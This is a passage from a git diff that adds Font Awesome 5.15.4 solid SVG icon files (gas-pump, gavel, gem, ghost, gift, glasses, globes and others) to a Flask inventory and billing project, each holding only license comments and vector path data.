Flask/static/font-awesome/svgs/solid/gas-pump.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/gas-pump.svg new file mode 100644 index 00000000..86f497f3 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/gas-pump.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M336 448H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h320c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm157.2-340.7l-81-81c-6.2-6.2-16.4-6.2-22.6 0l-11.3 11.3c-6.2 6.2-6.2 16.4 0 22.6L416 97.9V160c0 28.1 20.9 51.3 48 55.2V376c0 13.2-10.8 24-24 24s-24-10.8-24-24v-32c0-48.6-39.4-88-88-88h-8V64c0-35.3-28.7-64-64-64H96C60.7 0 32 28.7 32 64v352h288V304h8c22.1 0 40 17.9 40 40v27.8c0 37.7 27 72 64.5 75.9 43 4.3 79.5-29.5 79.5-71.7V152.6c0-17-6.8-33.3-18.8-45.3zM256 192H96V64h160v128z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/gavel.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/gavel.svg new file mode 100644 index 00000000..8db1c23e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/gavel.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M504.971 199.362l-22.627-22.627c-9.373-9.373-24.569-9.373-33.941 0l-5.657 5.657L329.608 69.255l5.657-5.657c9.373-9.373 9.373-24.569 0-33.941L312.638 7.029c-9.373-9.373-24.569-9.373-33.941 0L154.246 131.48c-9.373 9.373-9.373 24.569 0 33.941l22.627 22.627c9.373 9.373 24.569 9.373 33.941 0l5.657-5.657 39.598 39.598-81.04 81.04-5.657-5.657c-12.497-12.497-32.758-12.497-45.255 0L9.373 412.118c-12.497 12.497-12.497 32.758 0 45.255l45.255 45.255c12.497 12.497 32.758 12.497 45.255 0l114.745-114.745c12.497-12.497 12.497-32.758 0-45.255l-5.657-5.657 81.04-81.04 39.598 39.598-5.657 5.657c-9.373 9.373-9.373 24.569 0 33.941l22.627 22.627c9.373 9.373 24.569 9.373 33.941 0l124.451-124.451c9.372-9.372 9.372-24.568 0-33.941z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/gem.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/gem.svg new file mode 100644 index 00000000..2204e667 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/gem.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M485.5 0L576 160H474.9L405.7 0h79.8zm-128 0l69.2 160H149.3L218.5 0h139zm-267 0h79.8l-69.2 160H0L90.5 0zM0 192h100.7l123 251.7c1.5 3.1-2.7 5.9-5 3.3L0 192zm148.2 0h279.6l-137 318.2c-1 2.4-4.5 2.4-5.5 0L148.2 192zm204.1 251.7l123-251.7H576L357.3 446.9c-2.3 2.7-6.5-.1-5-3.2z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/genderless.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/genderless.svg new file mode 100644 index 00000000..e6edd195 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/genderless.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 288 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M144 176c44.1 0 80 35.9 80 80s-35.9 80-80 80-80-35.9-80-80 35.9-80 80-80m0-64C64.5 112 0 176.5 0 256s64.5 144 144 144 144-64.5 144-144-64.5-144-144-144z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/ghost.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/ghost.svg new file mode 100644 index 00000000..2ca4405a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/ghost.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M186.1.09C81.01 3.24 0 94.92 0 200.05v263.92c0 14.26 17.23 21.39 27.31 11.31l24.92-18.53c6.66-4.95 16-3.99 21.51 2.21l42.95 48.35c6.25 6.25 16.38 6.25 22.63 0l40.72-45.85c6.37-7.17 17.56-7.17 23.92 0l40.72 45.85c6.25 6.25 16.38 6.25 22.63 0l42.95-48.35c5.51-6.2 14.85-7.17 21.51-2.21l24.92 18.53c10.08 10.08 27.31 2.94 27.31-11.31V192C384 84 294.83-3.17 186.1.09zM128 224c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm128 0c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/gift.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/gift.svg new file mode 100644 index 00000000..630efe09 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/gift.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M32 448c0 17.7 14.3 32 32 32h160V320H32v128zm256 32h160c17.7 0 32-14.3 32-32V320H288v160zm192-320h-42.1c6.2-12.1 10.1-25.5 10.1-40 0-48.5-39.5-88-88-88-41.6 0-68.5 21.3-103 68.3-34.5-47-61.4-68.3-103-68.3-48.5 0-88 39.5-88 88 0 14.5 3.8 27.9 10.1 40H32c-17.7 0-32 14.3-32 32v80c0 8.8 7.2 16 16 16h480c8.8 0 16-7.2 16-16v-80c0-17.7-14.3-32-32-32zm-326.1 0c-22.1 0-40-17.9-40-40s17.9-40 40-40c19.9 0 34.6 3.3 86.1 80h-86.1zm206.1 0h-86.1c51.4-76.5 65.7-80 86.1-80 22.1 0 40 17.9 40 40s-17.9 40-40 40z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/gifts.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/gifts.svg new file mode 100644 index 00000000..0fadeb2a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/gifts.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M240.6 194.1c1.9-30.8 17.3-61.2 44-79.8C279.4 103.5 268.7 96 256 96h-29.4l30.7-22c7.2-5.1 8.9-15.1 3.7-22.3l-9.3-13c-5.1-7.2-15.1-8.9-22.3-3.7l-32 22.9 11.5-30.6c3.1-8.3-1.1-17.5-9.4-20.6l-15-5.6c-8.3-3.1-17.5 1.1-20.6 9.4l-19.9 53-19.9-53.1C121 2.1 111.8-2.1 103.5 1l-15 5.6C80.2 9.7 76 19 79.2 27.2l11.5 30.6L58.6 35c-7.2-5.1-17.2-3.5-22.3 3.7l-9.3 13c-5.1 7.2-3.5 17.2 3.7 22.3l30.7 22H32c-17.7 0-32 14.3-32 32v352c0 17.7 14.3 32 32 32h168.9c-5.5-9.5-8.9-20.3-8.9-32V256c0-29.9 20.8-55 48.6-61.9zM224 480c0 17.7 14.3 32 32 32h160V384H224v96zm224 32h160c17.7 0 32-14.3 32-32v-96H448v128zm160-288h-20.4c2.6-7.6 4.4-15.5 4.4-23.8 0-35.5-27-72.2-72.1-72.2-48.1 0-75.9 47.7-87.9 75.3-12.1-27.6-39.9-75.3-87.9-75.3-45.1 0-72.1 36.7-72.1 72.2 0 8.3 1.7 16.2 4.4 23.8H256c-17.7 0-32 14.3-32 32v96h192V224h15.3l.7-.2.7.2H448v128h192v-96c0-17.7-14.3-32-32-32zm-272 0c-2.7-1.4-5.1-3-7.2-4.8-7.3-6.4-8.8-13.8-8.8-19 0-9.7 6.4-24.2 24.1-24.2 18.7 0 35.6 27.4 44.5 48H336zm199.2-4.8c-2.1 1.8-4.5 3.4-7.2 4.8h-52.6c8.8-20.3 25.8-48 44.5-48 17.7 0 24.1 14.5 24.1 24.2 0 5.2-1.5 12.6-8.8 19z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/glass-cheers.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/glass-cheers.svg new file mode 100644 index 00000000..3c137292 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/glass-cheers.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M639.4 433.6c-8.4-20.4-31.8-30.1-52.2-21.6l-22.1 9.2-38.7-101.9c47.9-35 64.8-100.3 34.5-152.8L474.3 16c-8-13.9-25.1-19.7-40-13.6L320 49.8 205.7 2.4c-14.9-6.2-32-.3-40 13.6L79.1 166.5C48.9 219 65.7 284.3 113.6 319.2L74.9 421.1l-22.1-9.2c-20.4-8.5-43.7 1.2-52.2 21.6-1.7 4.1.2 8.8 4.3 10.5l162.3 67.4c4.1 1.7 8.7-.2 10.4-4.3 8.4-20.4-1.2-43.8-21.6-52.3l-22.1-9.2L173.3 342c4.4.5 8.8 1.3 13.1 1.3 51.7 0 99.4-33.1 113.4-85.3l20.2-75.4 20.2 75.4c14 52.2 61.7 85.3 113.4 85.3 4.3 0 8.7-.8 13.1-1.3L506 445.6l-22.1 9.2c-20.4 8.5-30.1 31.9-21.6 52.3 1.7 4.1 6.4 6 10.4 4.3L635.1 444c4-1.7 6-6.3 4.3-10.4zM275.9 162.1l-112.1-46.5 36.5-63.4 94.5 39.2-18.9 70.7zm88.2 0l-18.9-70.7 94.5-39.2 36.5 63.4-112.1 46.5z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/glass-martini-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/glass-martini-alt.svg new file mode 100644 index 00000000..7472d991 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/glass-martini-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M502.05 57.6C523.3 36.34 508.25 0 478.2 0H33.8C3.75 0-11.3 36.34 9.95 57.6L224 271.64V464h-56c-22.09 0-40 17.91-40 40 0 4.42 3.58 8 8 8h240c4.42 0 8-3.58 8-8 0-22.09-17.91-40-40-40h-56V271.64L502.05 57.6zM443.77 48l-48 48H116.24l-48-48h375.53z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/glass-martini.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/glass-martini.svg new file mode 100644 index 00000000..05d298e3 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/glass-martini.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M502.05 57.6C523.3 36.34 508.25 0 478.2 0H33.8C3.75 0-11.3 36.34 9.95 57.6L224 271.64V464h-56c-22.09 0-40 17.91-40 40 0 4.42 3.58 8 8 8h240c4.42 0 8-3.58 8-8 0-22.09-17.91-40-40-40h-56V271.64L502.05 57.6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/glass-whiskey.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/glass-whiskey.svg new file mode 100644 index 00000000..74726584 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/glass-whiskey.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M480 32H32C12.5 32-2.4 49.2.3 68.5l56 356.5c4.5 31.5 31.5 54.9 63.4 54.9h273c31.8 0 58.9-23.4 63.4-54.9l55.6-356.5C514.4 49.2 499.5 32 480 32zm-37.4 64l-30 192h-313L69.4 96h373.2z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/glasses.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/glasses.svg new file mode 100644 index 00000000..30347d05 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/glasses.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M574.1 280.37L528.75 98.66c-5.91-23.7-21.59-44.05-43-55.81-21.44-11.73-46.97-14.11-70.19-6.33l-15.25 5.08c-8.39 2.79-12.92 11.86-10.12 20.24l5.06 15.18c2.79 8.38 11.85 12.91 20.23 10.12l13.18-4.39c10.87-3.62 23-3.57 33.16 1.73 10.29 5.37 17.57 14.56 20.37 25.82l38.46 153.82c-22.19-6.81-49.79-12.46-81.2-12.46-34.77 0-73.98 7.02-114.85 26.74h-73.18c-40.87-19.74-80.08-26.75-114.86-26.75-31.42 0-59.02 5.65-81.21 12.46l38.46-153.83c2.79-11.25 10.09-20.45 20.38-25.81 10.16-5.3 22.28-5.35 33.15-1.73l13.17 4.39c8.38 2.79 17.44-1.74 20.23-10.12l5.06-15.18c2.8-8.38-1.73-17.45-10.12-20.24l-15.25-5.08c-23.22-7.78-48.75-5.41-70.19 6.33-21.41 11.77-37.09 32.11-43 55.8L1.9 280.37A64.218 64.218 0 0 0 0 295.86v70.25C0 429.01 51.58 480 115.2 480h37.12c60.28 0 110.37-45.94 114.88-105.37l2.93-38.63h35.75l2.93 38.63C313.31 434.06 363.4 480 423.68 480h37.12c63.62 0 115.2-50.99 115.2-113.88v-70.25c0-5.23-.64-10.43-1.9-15.5zm-370.72 89.42c-1.97 25.91-24.4 46.21-51.06 46.21H115.2C86.97 416 64 393.62 64 366.11v-37.54c18.12-6.49 43.42-12.92 72.58-12.92 23.86 0 47.26 4.33 69.93 12.92l-3.13 41.22zM512 366.12c0 27.51-22.97 49.88-51.2 49.88h-37.12c-26.67 0-49.1-20.3-51.06-46.21l-3.13-41.22c22.67-8.59 46.08-12.92 69.95-12.92 29.12 0 54.43 6.44 72.55 12.93v37.54z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/globe-africa.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/globe-africa.svg new file mode 100644 index 00000000..26592054 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/globe-africa.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm160 215.5v6.93c0 5.87-3.32 11.24-8.57 13.86l-15.39 7.7a15.485 15.485 0 0 1-15.53-.97l-18.21-12.14a15.52 15.52 0 0 0-13.5-1.81l-2.65.88c-9.7 3.23-13.66 14.79-7.99 23.3l13.24 19.86c2.87 4.31 7.71 6.9 12.89 6.9h8.21c8.56 0 15.5 6.94 15.5 15.5v11.34c0 3.35-1.09 6.62-3.1 9.3l-18.74 24.98c-1.42 1.9-2.39 4.1-2.83 6.43l-4.3 22.83c-.62 3.29-2.29 6.29-4.76 8.56a159.608 159.608 0 0 0-25 29.16l-13.03 19.55a27.756 27.756 0 0 1-23.09 12.36c-10.51 0-20.12-5.94-24.82-15.34a78.902 78.902 0 0 1-8.33-35.29V367.5c0-8.56-6.94-15.5-15.5-15.5h-25.88c-14.49 0-28.38-5.76-38.63-16a54.659 54.659 0 0 1-16-38.63v-14.06c0-17.19 8.1-33.38 21.85-43.7l27.58-20.69a54.663 54.663 0 0 1 32.78-10.93h.89c8.48 0 16.85 1.97 24.43 5.77l14.72 7.36c3.68 1.84 7.93 2.14 11.83.84l47.31-15.77c6.33-2.11 10.6-8.03 10.6-14.7 0-8.56-6.94-15.5-15.5-15.5h-10.09c-4.11 0-8.05-1.63-10.96-4.54l-6.92-6.92a15.493 15.493 0 0 0-10.96-4.54H199.5c-8.56 0-15.5-6.94-15.5-15.5v-4.4c0-7.11 4.84-13.31 11.74-15.04l14.45-3.61c3.74-.94 7-3.23 9.14-6.44l8.08-12.11c2.87-4.31 7.71-6.9 12.89-6.9h24.21c8.56 0 15.5-6.94 15.5-15.5v-21.7C359.23 71.63 422.86 131.02 441.93 208H423.5c-8.56 0-15.5 6.94-15.5 15.5z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/globe-americas.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/globe-americas.svg new file mode 100644 index 00000000..642a234f --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/globe-americas.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm82.29 357.6c-3.9 3.88-7.99 7.95-11.31 11.28-2.99 3-5.1 6.7-6.17 10.71-1.51 5.66-2.73 11.38-4.77 16.87l-17.39 46.85c-13.76 3-28 4.69-42.65 4.69v-27.38c1.69-12.62-7.64-36.26-22.63-51.25-6-6-9.37-14.14-9.37-22.63v-32.01c0-11.64-6.27-22.34-16.46-27.97-14.37-7.95-34.81-19.06-48.81-26.11-11.48-5.78-22.1-13.14-31.65-21.75l-.8-.72a114.792 114.792 0 0 1-18.06-20.74c-9.38-13.77-24.66-36.42-34.59-51.14 20.47-45.5 57.36-82.04 103.2-101.89l24.01 12.01C203.48 89.74 216 82.01 216 70.11v-11.3c7.99-1.29 16.12-2.11 24.39-2.42l28.3 28.3c6.25 6.25 6.25 16.38 0 22.63L264 112l-10.34 10.34c-3.12 3.12-3.12 8.19 0 11.31l4.69 4.69c3.12 3.12 3.12 8.19 0 11.31l-8 8a8.008 8.008 0 0 1-5.66 2.34h-8.99c-2.08 0-4.08.81-5.58 2.27l-9.92 9.65a8.008 8.008 0 0 0-1.58 9.31l15.59 31.19c2.66 5.32-1.21 11.58-7.15 11.58h-5.64c-1.93 0-3.79-.7-5.24-1.96l-9.28-8.06a16.017 16.017 0 0 0-15.55-3.1l-31.17 10.39a11.95 11.95 0 0 0-8.17 11.34c0 4.53 2.56 8.66 6.61 10.69l11.08 5.54c9.41 4.71 19.79 7.16 30.31 7.16s22.59 27.29 32 32h66.75c8.49 0 16.62 3.37 22.63 9.37l13.69 13.69a30.503 30.503 0 0 1 8.93 21.57 46.536 46.536 0 0 1-13.72 32.98zM417 274.25c-5.79-1.45-10.84-5-14.15-9.97l-17.98-26.97a23.97 23.97 0 0 1 0-26.62l19.59-29.38c2.32-3.47 5.5-6.29 9.24-8.15l12.98-6.49C440.2 193.59 448 223.87 448 256c0 8.67-.74 17.16-1.82 25.54L417 274.25z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/globe-asia.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/globe-asia.svg new file mode 100644 index 00000000..89223bf1 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/globe-asia.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm-11.34 240.23c-2.89 4.82-8.1 7.77-13.72 7.77h-.31c-4.24 0-8.31 1.69-11.31 4.69l-5.66 5.66c-3.12 3.12-3.12 8.19 0 11.31l5.66 5.66c3 3 4.69 7.07 4.69 11.31V304c0 8.84-7.16 16-16 16h-6.11c-6.06 0-11.6-3.42-14.31-8.85l-22.62-45.23c-2.44-4.88-8.95-5.94-12.81-2.08l-19.47 19.46c-3 3-7.07 4.69-11.31 4.69H50.81C49.12 277.55 48 266.92 48 256c0-110.28 89.72-200 200-200 21.51 0 42.2 3.51 61.63 9.82l-50.16 38.53c-5.11 3.41-4.63 11.06.86 13.81l10.83 5.41c5.42 2.71 8.84 8.25 8.84 14.31V216c0 4.42-3.58 8-8 8h-3.06c-3.03 0-5.8-1.71-7.15-4.42-1.56-3.12-5.96-3.29-7.76-.3l-17.37 28.95zM408 358.43c0 4.24-1.69 8.31-4.69 11.31l-9.57 9.57c-3 3-7.07 4.69-11.31 4.69h-15.16c-4.24 0-8.31-1.69-11.31-4.69l-13.01-13.01a26.767 26.767 0 0 0-25.42-7.04l-21.27 5.32c-1.27.32-2.57.48-3.88.48h-10.34c-4.24 0-8.31-1.69-11.31-4.69l-11.91-11.91a8.008 8.008 0 0 1-2.34-5.66v-10.2c0-3.27 1.99-6.21 5.03-7.43l39.34-15.74c1.98-.79 3.86-1.82 5.59-3.05l23.71-16.89a7.978 7.978 0 0 1 4.64-1.48h12.09c3.23 0 6.15 1.94 7.39 4.93l5.35 12.85a4 4 0 0 0 3.69 2.46h3.8c1.78 0 3.35-1.18 3.84-2.88l4.2-14.47c.5-1.71 2.06-2.88 3.84-2.88h6.06c2.21 0 4 1.79 4 4v12.93c0 2.12.84 4.16 2.34 5.66l11.91 11.91c3 3 4.69 7.07 4.69 11.31v24.6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/globe-europe.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/globe-europe.svg new file mode 100644 index 00000000..f0653a1b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/globe-europe.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm200 248c0 22.5-3.9 44.2-10.8 64.4h-20.3c-4.3 0-8.4-1.7-11.4-4.8l-32-32.6c-4.5-4.6-4.5-12.1.1-16.7l12.5-12.5v-8.7c0-3-1.2-5.9-3.3-8l-9.4-9.4c-2.1-2.1-5-3.3-8-3.3h-16c-6.2 0-11.3-5.1-11.3-11.3 0-3 1.2-5.9 3.3-8l9.4-9.4c2.1-2.1 5-3.3 8-3.3h32c6.2 0 11.3-5.1 11.3-11.3v-9.4c0-6.2-5.1-11.3-11.3-11.3h-36.7c-8.8 0-16 7.2-16 16v4.5c0 6.9-4.4 13-10.9 15.2l-31.6 10.5c-3.3 1.1-5.5 4.1-5.5 7.6v2.2c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8s-3.6-8-8-8H247c-3 0-5.8 1.7-7.2 4.4l-9.4 18.7c-2.7 5.4-8.2 8.8-14.3 8.8H194c-8.8 0-16-7.2-16-16V199c0-4.2 1.7-8.3 4.7-11.3l20.1-20.1c4.6-4.6 7.2-10.9 7.2-17.5 0-3.4 2.2-6.5 5.5-7.6l40-13.3c1.7-.6 3.2-1.5 4.4-2.7l26.8-26.8c2.1-2.1 3.3-5 3.3-8 0-6.2-5.1-11.3-11.3-11.3H258l-16 16v8c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8v-20c0-2.5 1.2-4.9 3.2-6.4l28.9-21.7c1.9-.1 3.8-.3 5.7-.3C358.3 56 448 145.7 448 256zM130.1 149.1c0-3 1.2-5.9 3.3-8l25.4-25.4c2.1-2.1 5-3.3 8-3.3 6.2 0 11.3 5.1 11.3 11.3v16c0 3-1.2 5.9-3.3 8l-9.4 9.4c-2.1 2.1-5 3.3-8 3.3h-16c-6.2 0-11.3-5.1-11.3-11.3zm128 306.4v-7.1c0-8.8-7.2-16-16-16h-20.2c-10.8 0-26.7-5.3-35.4-11.8l-22.2-16.7c-11.5-8.6-18.2-22.1-18.2-36.4v-23.9c0-16 8.4-30.8 22.1-39l42.9-25.7c7.1-4.2 15.2-6.5 23.4-6.5h31.2c10.9 0 21.4 3.9 29.6 10.9l43.2 37.1h18.3c8.5 0 16.6 3.4 22.6 9.4l17.3 17.3c3.4 3.4 8.1 5.3 12.9 5.3H423c-32.4 58.9-93.8 99.5-164.9 103.1z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/globe.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/globe.svg new file mode 100644 index 00000000..e255b7f9 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/globe.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M336.5 160C322 70.7 287.8 8 248 8s-74 62.7-88.5 152h177zM152 256c0 22.2 1.2 43.5 3.3 64h185.3c2.1-20.5 3.3-41.8 3.3-64s-1.2-43.5-3.3-64H155.3c-2.1 20.5-3.3 41.8-3.3 64zm324.7-96c-28.6-67.9-86.5-120.4-158-141.6 24.4 33.8 41.2 84.7 50 141.6h108zM177.2 18.4C105.8 39.6 47.8 92.1 19.3 160h108c8.7-56.9 25.5-107.8 49.9-141.6zM487.4 192H372.7c2.1 21 3.3 42.5 3.3 64s-1.2 43-3.3 64h114.6c5.5-20.5 8.6-41.8 8.6-64s-3.1-43.5-8.5-64zM120 256c0-21.5 1.2-43 3.3-64H8.6C3.2 212.5 0 233.8 0 256s3.2 43.5 8.6 64h114.6c-2-21-3.2-42.5-3.2-64zm39.5 96c14.5 89.3 48.7 152 88.5 152s74-62.7 88.5-152h-177zm159.3 141.6c71.4-21.2 